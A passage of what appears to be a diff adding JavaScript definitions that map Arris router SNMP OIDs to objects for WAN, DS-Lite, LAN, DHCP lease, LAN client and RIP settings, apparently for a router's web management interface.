+PrivateWanObjects.PrivateWanCurrentPrefix= new Scalar("PrivateWanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.15.7",66); +PrivateWanObjects.PrivateWanCurrentGWType= new Scalar("PrivateWanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.15.8",2); +PrivateWanObjects.PrivateWanCurrentGW= new Scalar("PrivateWanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.15.9",4, 1); +PrivateWanObjects.PrivateWanCurrentNetMask= new Scalar("PrivateWanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.15.10",4, 1); +PrivateWanObjects.PrivateWanCurrentDomainName= new Scalar("PrivateWanCurrentDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.15.11",4); +PrivateWanObjects.PrivateWanInterfaceName= new Scalar("PrivateWanInterfaceName","1.3.6.1.4.1.4115.1.20.1.1.1.15.12",4); +PrivateWanObjects.PrivateWanMacAddr= new Scalar("PrivateWanMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.13",4, 1); +var arPrivateWanRenewLease=PrivateWanObjects.PrivateWanRenewLease; +var arPrivateWanReleaseLease=PrivateWanObjects.PrivateWanReleaseLease; +var arPrivateWanDHCPDuration=PrivateWanObjects.PrivateWanDHCPDuration; +var arPrivateWanDHCPExpire=PrivateWanObjects.PrivateWanDHCPExpire; +var arPrivateWanCurrentIPAddrType=PrivateWanObjects.PrivateWanCurrentIPAddrType; +var arPrivateWanCurrentIPAddr=PrivateWanObjects.PrivateWanCurrentIPAddr; +var arPrivateWanCurrentPrefix=PrivateWanObjects.PrivateWanCurrentPrefix; +var arPrivateWanCurrentGWType=PrivateWanObjects.PrivateWanCurrentGWType; +var arPrivateWanCurrentGW=PrivateWanObjects.PrivateWanCurrentGW; +var arPrivateWanCurrentNetMask=PrivateWanObjects.PrivateWanCurrentNetMask; +var arPrivateWanCurrentDomainName=PrivateWanObjects.PrivateWanCurrentDomainName; +var arPrivateWanInterfaceName=PrivateWanObjects.PrivateWanInterfaceName; +var arPrivateWanMacAddr=PrivateWanObjects.PrivateWanMacAddr; + +var PrivateWanCurrentDNSTable = new Table("PrivateWanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.15.14"); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex = new Column("PrivateWanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.1",66); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType = new Column("PrivateWanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.2",2); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr = new Column("PrivateWanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.3",4, 1); +var arPrivateWanCurrentDNSIPIndex=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex; +var arPrivateWanCurrentDNSIPAddrType=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType; +var arPrivateWanCurrentDNSIPAddr=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr; + +var DSLiteWanObjects = new Container("DSLiteWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.18"); +DSLiteWanObjects.DSLiteWanEnable= new Scalar("DSLiteWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.18.1",2); +DSLiteWanObjects.DSLiteWanLSNATAddrType= new Scalar("DSLiteWanLSNATAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.18.2",2); +DSLiteWanObjects.DSLiteWanLSNATAddr= new Scalar("DSLiteWanLSNATAddr","1.3.6.1.4.1.4115.1.20.1.1.1.18.3",4, 1); +var arDSLiteWanEnable=DSLiteWanObjects.DSLiteWanEnable; +var arDSLiteWanLSNATAddrType=DSLiteWanObjects.DSLiteWanLSNATAddrType; +var arDSLiteWanLSNATAddr=DSLiteWanObjects.DSLiteWanLSNATAddr; + + + +var LanConfig = new Container("LanConfig", "1.3.6.1.4.1.4115.1.20.1.1.2"); +LanConfig.LanCount= new Scalar("LanCount","1.3.6.1.4.1.4115.1.20.1.1.2.1",66); +LanConfig.LanSettings= new Scalar("LanSettings","1.3.6.1.4.1.4115.1.20.1.1.2.6",2); +var arLanCount=LanConfig.LanCount; +var arLanSettings=LanConfig.LanSettings; + +var LanSrvTable = new Table("LanSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.2.2"); +LanSrvTable.LanName = new Column("LanName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.1",4); +LanSrvTable.LanSubnetMaskType = new Column("LanSubnetMaskType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.2",2); +LanSrvTable.LanSubnetMask = new Column("LanSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.3",4, 1); +LanSrvTable.LanGatewayIpType = new Column("LanGatewayIpType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.4",2); +LanSrvTable.LanGatewayIp = new Column("LanGatewayIp","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.5",4, 1); +LanSrvTable.LanGatewayIp2Type = new Column("LanGatewayIp2Type","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.6",2); +LanSrvTable.LanGatewayIp2 = new Column("LanGatewayIp2","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.7",4, 1); +LanSrvTable.LanVLanID = new Column("LanVLanID","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.8",66); +LanSrvTable.LanUseDHCP = new Column("LanUseDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.9",2); +LanSrvTable.LanStartDHCPType = new Column("LanStartDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.10",2); +LanSrvTable.LanStartDHCP = new Column("LanStartDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.11",4, 1); +LanSrvTable.LanEndDHCPType = new Column("LanEndDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.12",2); +LanSrvTable.LanEndDHCP = new Column("LanEndDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.13",4, 1); +LanSrvTable.LanLeaseTime = new Column("LanLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.14",66); +LanSrvTable.LanDomainName = new Column("LanDomainName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.15",4, 1); +LanSrvTable.LanRateLimit = new Column("LanRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.16",2); +LanSrvTable.LanDownRateLimit = new Column("LanDownRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.17",66); +LanSrvTable.LanUpRateLimit = new Column("LanUpRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.18",66); +LanSrvTable.LanRelayDNS = new Column("LanRelayDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.19",2); +LanSrvTable.LanIPv6Mode = new Column("LanIPv6Mode","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.20",2); +LanSrvTable.LanPassThru = new Column("LanPassThru","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.21",2); +LanSrvTable.LanFirewallOn = new Column("LanFirewallOn","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.22",2); +LanSrvTable.LanUPnPEnable = new Column("LanUPnPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.23",2); +LanSrvTable.LanCPEAging = new Column("LanCPEAging","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.24",2); +LanSrvTable.LanOverrideDNS = new Column("LanOverrideDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.25",2); +LanSrvTable.LanNatAlgsEnabled = new Column("LanNatAlgsEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.26",4, 1); +LanSrvTable.LanMappedInterface = new Column("LanMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.27",66); +LanSrvTable.LanEnvironmentControl = new Column("LanEnvironmentControl","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.28",2); +LanSrvTable.LanPrefixLengthV6 = new Column("LanPrefixLengthV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.29",66); +LanSrvTable.LanUseDHCPV6 = new Column("LanUseDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.30",2); +LanSrvTable.LanStartDHCPV6 = new Column("LanStartDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.31",4, 1); +LanSrvTable.LanEndDHCPV6 = new Column("LanEndDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.32",4, 1); +LanSrvTable.LanLeaseTimeV6 = new Column("LanLeaseTimeV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.33",66); +LanSrvTable.LanLinkLocalAddressV6 = new Column("LanLinkLocalAddressV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.34",4, 1); +LanSrvTable.LanDNSRelayV6 = new Column("LanDNSRelayV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.35",2); +LanSrvTable.LanDNSOverrideV6 = new Column("LanDNSOverrideV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.36",2); +LanSrvTable.LanRouterAdminBridgeOptionDisplay = new Column("LanRouterAdminBridgeOptionDisplay","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.38",2); + +// scm start +//LanSrvTable.LanQosEnable = new Column("LanQosEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.46",2); +// scm end +var arLanName=LanSrvTable.LanName; +var arLanSubnetMaskType=LanSrvTable.LanSubnetMaskType; +var arLanSubnetMask=LanSrvTable.LanSubnetMask; +var arLanGatewayIpType=LanSrvTable.LanGatewayIpType; +var arLanGatewayIp=LanSrvTable.LanGatewayIp; +var arLanGatewayIp2Type=LanSrvTable.LanGatewayIp2Type; +var arLanGatewayIp2=LanSrvTable.LanGatewayIp2; +var arLanVLanID=LanSrvTable.LanVLanID; +var arLanUseDHCP=LanSrvTable.LanUseDHCP; +var arLanStartDHCPType=LanSrvTable.LanStartDHCPType; +var arLanStartDHCP=LanSrvTable.LanStartDHCP; +var arLanEndDHCPType=LanSrvTable.LanEndDHCPType; +var arLanEndDHCP=LanSrvTable.LanEndDHCP; +var arLanLeaseTime=LanSrvTable.LanLeaseTime; +var arLanDomainName=LanSrvTable.LanDomainName; +var arLanRateLimit=LanSrvTable.LanRateLimit; +var arLanDownRateLimit=LanSrvTable.LanDownRateLimit; +var arLanUpRateLimit=LanSrvTable.LanUpRateLimit; +var arLanRelayDNS=LanSrvTable.LanRelayDNS; +var arLanIPv6Mode=LanSrvTable.LanIPv6Mode; +var arLanPassThru=LanSrvTable.LanPassThru; +var arLanFirewallOn=LanSrvTable.LanFirewallOn; +var arLanUPnPEnable=LanSrvTable.LanUPnPEnable; +var arLanCPEAging=LanSrvTable.LanCPEAging; +var arLanOverrideDNS=LanSrvTable.LanOverrideDNS; +var arLanNatAlgsEnabled=LanSrvTable.LanNatAlgsEnabled; +var arLanMappedInterface=LanSrvTable.LanMappedInterface; +var arLanEnvironmentControl=LanSrvTable.LanEnvironmentControl; +var arLanPrefixLengthV6=LanSrvTable.LanPrefixLengthV6; +var arLanUseDHCPV6=LanSrvTable.LanUseDHCPV6; +var arLanStartDHCPV6=LanSrvTable.LanStartDHCPV6; +var arLanEndDHCPV6=LanSrvTable.LanEndDHCPV6; +var arLanLeaseTimeV6=LanSrvTable.LanLeaseTimeV6; +var arLanLinkLocalAddressV6=LanSrvTable.LanLinkLocalAddressV6; +var arLanDNSRelayV6=LanSrvTable.LanDNSRelayV6; +var arLanDNSOverrideV6=LanSrvTable.LanDNSOverrideV6; +//var arLanQosEnable=LanSrvTable.LanQosEnable;//added +var arLanRouterAdminBridgeOptionDisplay=LanSrvTable.LanRouterAdminBridgeOptionDisplay; + +var arrisRouterLanSrvDiscoveryObjs = new Container("arrisRouterLanSrvDiscoveryObjs", "1.3.6.1.4.1.4115.1.20.1.1.2.7"); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime= new Scalar("arrisRouterLanUPnPAdvTime","1.3.6.1.4.1.4115.1.20.1.1.2.7.1", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl= new Scalar("arrisRouterLanUPnPTtl","1.3.6.1.4.1.4115.1.20.1.1.2.7.2", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf= new Scalar("arrisRouterLanZeroConf","1.3.6.1.4.1.4115.1.20.1.1.2.7.3", 2); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP= new Scalar("arrisRouterLanQosUPnP","1.3.6.1.4.1.4115.1.20.1.1.2.7.4", 2); +var arLanUPnPAdvTime=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime; +var arLanUPnPTtl=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl; +var arLanZeroConf=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf; +var arLanQosUPnP=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP; + + +var LanDNSTable = new Table("LanDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.2.3"); +LanDNSTable.LanDNSIdx = new Column("LanDNSIdx","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.1",66); +LanDNSTable.LanDNSIPAddrType = new Column("LanDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.2",2); +LanDNSTable.LanDNSIPAddr = new Column("LanDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.3",4, 1); +LanDNSTable.LanDNSRowStatus = new Column("LanDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.4",2); +var arLanDNSIdx=LanDNSTable.LanDNSIdx; +var arLanDNSIPAddrType=LanDNSTable.LanDNSIPAddrType; +var arLanDNSIPAddr=LanDNSTable.LanDNSIPAddr; +var arLanDNSRowStatus=LanDNSTable.LanDNSRowStatus; + +var CmDoc30DhcpLeaseParameters = new Container("CmDoc30DhcpLeaseParameters","1.3.6.1.4.1.4115.1.3.4.1.4.1"); +CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining = new Scalar("DhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.4.1.4.1.4",2); +var arDhcpLeaseTimeRemaining = CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining; +CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime = new Scalar("DhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.4.1.4.1.1",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew = new Scalar("DhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.4.1.4.1.2",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind = new Scalar("DhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.4.1.4.1.3",2); +var arDhcpOfferedLeaseTime = CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime; +var arDhcpTimeUntilRenew = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew; +var arDhcpTimeUntilRebind = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind; + +var ClientObjects = new Container("ClientObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.4"); +ClientObjects.LanClientCount= new Scalar("LanClientCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.1",66); +ClientObjects.LanCustomCount= new Scalar("LanCustomCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.4",66); +var arLanClientCount=ClientObjects.LanClientCount; +var arLanCustomCount=ClientObjects.LanCustomCount; + +var LanClientTable = new Table("LanClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2"); +LanClientTable.LanClientIPAddrType = new Column("LanClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.1",2); +LanClientTable.LanClientIPAddr = new Column("LanClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.2",4, 1); +LanClientTable.LanClientHostName = new Column("LanClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.3",4); +LanClientTable.LanClientMAC = new Column("LanClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.4",4, 1); +LanClientTable.LanClientMACMfg = new Column("LanClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.5",4); +LanClientTable.LanClientAdapterType = new Column("LanClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.6",2); +LanClientTable.LanClientType = new Column("LanClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.7",2); +LanClientTable.LanClientLeaseStart = new Column("LanClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.8",4, 1); +LanClientTable.LanClientLeaseEnd = new Column("LanClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.9",4, 1); +LanClientTable.LanClientStatus = new Column("LanClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.10",2); +LanClientTable.LanClientInfLease = new Column("LanClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.11",2); +LanClientTable.LanClientLeaseState = new Column("LanClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.12",2); +LanClientTable.LanClientRowStatus = new Column("LanClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.13",2); +LanClientTable.LanClientOnline = new Column("LanClientOnline","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.14",2); +LanClientTable.LanClientComment = new Column("LanClientComment","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.15",4); +LanClientTable.LanClientCustom = new Column("LanClientCustom","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.16",2); +// scm start +LanClientTable.LanClientDeviceName = new Column("LanClientDeviceName", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.20", 2); +LanClientTable.LanClientRSSI = new Column("LanClientRSSI", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.21", 2); +LanClientTable.LanClientLinkLocalAddr= new Column("LanClientLinkLocalAddr", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.23", 4); + +// scm end +var arLanClientIPAddrType=LanClientTable.LanClientIPAddrType; +var arLanClientIPAddr=LanClientTable.LanClientIPAddr; +var arLanClientHostName=LanClientTable.LanClientHostName; +var arLanClientMAC=LanClientTable.LanClientMAC; +var arLanClientMACMfg=LanClientTable.LanClientMACMfg; +var arLanClientAdapterType=LanClientTable.LanClientAdapterType; +var arLanClientType=LanClientTable.LanClientType; +var arLanClientLeaseStart=LanClientTable.LanClientLeaseStart; +var arLanClientLeaseEnd=LanClientTable.LanClientLeaseEnd; +var arLanClientStatus=LanClientTable.LanClientStatus; +var arLanClientInfLease=LanClientTable.LanClientInfLease; +var arLanClientLeaseState=LanClientTable.LanClientLeaseState; +var arLanClientRowStatus=LanClientTable.LanClientRowStatus; +var arLanClientOnline=LanClientTable.LanClientOnline; +var arLanClientComment=LanClientTable.LanClientComment; +var arLanClientCustom=LanClientTable.LanClientCustom; +// scm add +var arLanClientDeviceName = LanClientTable.LanClientDeviceName; +var arLanClientRSSI = LanClientTable.LanClientRSSI; +var arLanClientLinkLocalAddr = LanClientTable.LanClientLinkLocalAddr; + + + + +var DeviceUpDownTable = new Table("DeviceUpDownTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.3"); +DeviceUpDownTable.DeviceUpDownIndex = new Column("DeviceUpDownIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.1",2); +DeviceUpDownTable.DeviceUpDownMAC = new Column("DeviceUpDownMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.2",4, 1); +DeviceUpDownTable.DeviceUpDownIPType = new Column("DeviceUpDownIPType","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.3",2); +DeviceUpDownTable.DeviceUpDownIPAddr = new Column("DeviceUpDownIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.4",4, 1); +DeviceUpDownTable.DeviceUpDownStart = new Column("DeviceUpDownStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.5",4, 1); +DeviceUpDownTable.DeviceUpDownEnd = new Column("DeviceUpDownEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.6",4, 1); +DeviceUpDownTable.DeviceUpDownStatus = new Column("DeviceUpDownStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.7",2); +var arDeviceUpDownIndex=DeviceUpDownTable.DeviceUpDownIndex; +var arDeviceUpDownMAC=DeviceUpDownTable.DeviceUpDownMAC; +var arDeviceUpDownIPType=DeviceUpDownTable.DeviceUpDownIPType; +var arDeviceUpDownIPAddr=DeviceUpDownTable.DeviceUpDownIPAddr; +var arDeviceUpDownStart=DeviceUpDownTable.DeviceUpDownStart; +var arDeviceUpDownEnd=DeviceUpDownTable.DeviceUpDownEnd; +var arDeviceUpDownStatus=DeviceUpDownTable.DeviceUpDownStatus; + +var LanCustomTable = new Table("LanCustomTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.5"); +LanCustomTable.LanCustomIdx = new Column("LanCustomIdx","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.1",66); +LanCustomTable.LanCustomMAC = new Column("LanCustomMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.2",4, 1); +LanCustomTable.LanCustomIPAddrType = new Column("LanCustomIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.3",2); +LanCustomTable.LanCustomIPAddr = new Column("LanCustomIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.4",4, 1); +LanCustomTable.LanCustomFriendName = new Column("LanCustomFriendName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.5",4); +LanCustomTable.LanCustomHostName = new Column("LanCustomHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.6",4); +LanCustomTable.LanCustomMACMfg = new Column("LanCustomMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.7",4); +LanCustomTable.LanCustomComments = new Column("LanCustomComments","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.8",4); +LanCustomTable.LanCustomRowStatus = new Column("LanCustomRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.9",2); +var arLanCustomIdx=LanCustomTable.LanCustomIdx; +var arLanCustomMAC=LanCustomTable.LanCustomMAC; +var arLanCustomIPAddrType=LanCustomTable.LanCustomIPAddrType; +var arLanCustomIPAddr=LanCustomTable.LanCustomIPAddr; +var arLanCustomFriendName=LanCustomTable.LanCustomFriendName; +var arLanCustomHostName=LanCustomTable.LanCustomHostName; +var arLanCustomMACMfg=LanCustomTable.LanCustomMACMfg; +var arLanCustomComments=LanCustomTable.LanCustomComments; +var arLanCustomRowStatus=LanCustomTable.LanCustomRowStatus; + +var LanCurrentClientTable = new Table("LanCurrentClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.6"); +LanCurrentClientTable.LanCurrentClientIndex = new Column("LanCurrentClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.1",2); +LanCurrentClientTable.LanCurrentClientIPAddrType = new Column("LanCurrentClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.2",2); +LanCurrentClientTable.LanCurrentClientIPAddr = new Column("LanCurrentClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.3",4, 1); +LanCurrentClientTable.LanCurrentClientIPAddrTextual = new Column("LanCurrentClientIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.4",4); +LanCurrentClientTable.LanCurrentClientHostName = new Column("LanCurrentClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.5",4); +LanCurrentClientTable.LanCurrentClientMAC = new Column("LanCurrentClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.6",4, 1); +LanCurrentClientTable.LanCurrentClientMACMfg = new Column("LanCurrentClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.7",4); +LanCurrentClientTable.LanCurrentClientAdapterType = new Column("LanCurrentClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.8",2); +LanCurrentClientTable.LanCurrentClientType = new Column("LanCurrentClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.9",2); +LanCurrentClientTable.LanCurrentClientLeaseStart = new Column("LanCurrentClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.10",4, 1); +LanCurrentClientTable.LanCurrentClientLeaseEnd = new Column("LanCurrentClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.11",4, 1); +LanCurrentClientTable.LanCurrentClientStatus = new Column("LanCurrentClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.12",2); +LanCurrentClientTable.LanCurrentClientInfLease = new Column("LanCurrentClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.13",2); +LanCurrentClientTable.LanCurrentClientLeaseState = new Column("LanCurrentClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.14",2); +LanCurrentClientTable.LanCurrentClientFirstSeen = new Column("LanCurrentClientFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.15",4, 1); +LanCurrentClientTable.LanCurrentClientLastSeen = new Column("LanCurrentClientLastSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.16",4, 1); +LanCurrentClientTable.LanCurrentClientConnectionInfo = new Column("LanCurrentClientConnectionInfo","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.17",4); +LanCurrentClientTable.LanCurrentClientLeaseTime = new Column("LanCurrentClientLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.18",2); +var arLanCurrentClientIndex=LanCurrentClientTable.LanCurrentClientIndex; +var arLanCurrentClientIPAddrType=LanCurrentClientTable.LanCurrentClientIPAddrType; +var arLanCurrentClientIPAddr=LanCurrentClientTable.LanCurrentClientIPAddr; +var arLanCurrentClientIPAddrTextual=LanCurrentClientTable.LanCurrentClientIPAddrTextual; +var arLanCurrentClientHostName=LanCurrentClientTable.LanCurrentClientHostName; +var arLanCurrentClientMAC=LanCurrentClientTable.LanCurrentClientMAC; +var arLanCurrentClientMACMfg=LanCurrentClientTable.LanCurrentClientMACMfg; +var arLanCurrentClientAdapterType=LanCurrentClientTable.LanCurrentClientAdapterType; +var arLanCurrentClientType=LanCurrentClientTable.LanCurrentClientType; +var arLanCurrentClientLeaseStart=LanCurrentClientTable.LanCurrentClientLeaseStart; +var arLanCurrentClientLeaseEnd=LanCurrentClientTable.LanCurrentClientLeaseEnd; +var arLanCurrentClientStatus=LanCurrentClientTable.LanCurrentClientStatus; +var arLanCurrentClientInfLease=LanCurrentClientTable.LanCurrentClientInfLease; +var arLanCurrentClientLeaseState=LanCurrentClientTable.LanCurrentClientLeaseState; +var arLanCurrentClientFirstSeen=LanCurrentClientTable.LanCurrentClientFirstSeen; +var arLanCurrentClientLastSeen=LanCurrentClientTable.LanCurrentClientLastSeen; +var arLanCurrentClientConnectionInfo=LanCurrentClientTable.LanCurrentClientConnectionInfo; +var arLanCurrentClientLeaseTime=LanCurrentClientTable.LanCurrentClientLeaseTime; + +var LanStaticClientTable = new Table("LanStaticClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.7"); +LanStaticClientTable.LanStaticClientIndex = new Column("LanStaticClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.1",2); +LanStaticClientTable.LanStaticClientIPAddrType = new Column("LanStaticClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.2",2); +LanStaticClientTable.LanStaticClientIPAddr = new Column("LanStaticClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.3",4, 1); +LanStaticClientTable.LanStaticClientHostName = new Column("LanStaticClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.4",4); +LanStaticClientTable.LanStaticClientMAC = new Column("LanStaticClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.5",4, 1); +LanStaticClientTable.LanStaticClientRowStatus = new Column("LanStaticClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.6",2); +var arLanStaticClientIndex=LanStaticClientTable.LanStaticClientIndex; +var arLanStaticClientIPAddrType=LanStaticClientTable.LanStaticClientIPAddrType; +var arLanStaticClientIPAddr=LanStaticClientTable.LanStaticClientIPAddr; +var arLanStaticClientHostName=LanStaticClientTable.LanStaticClientHostName; +var arLanStaticClientMAC=LanStaticClientTable.LanStaticClientMAC; +var arLanStaticClientRowStatus=LanStaticClientTable.LanStaticClientRowStatus; + +var RIPObjects = new Container("RIPObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.5"); +RIPObjects.RIPEnable= new Scalar("RIPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.1",2); +RIPObjects.RIPAuthEnable= new Scalar("RIPAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.2",2); +RIPObjects.RIPReportTime= new Scalar("RIPReportTime","1.3.6.1.4.1.4115.1.20.1.1.2.5.3",66); +RIPObjects.RIPAuthKeyString= new Scalar("RIPAuthKeyString","1.3.6.1.4.1.4115.1.20.1.1.2.5.4",4); +RIPObjects.RIPAuthKeyID= new 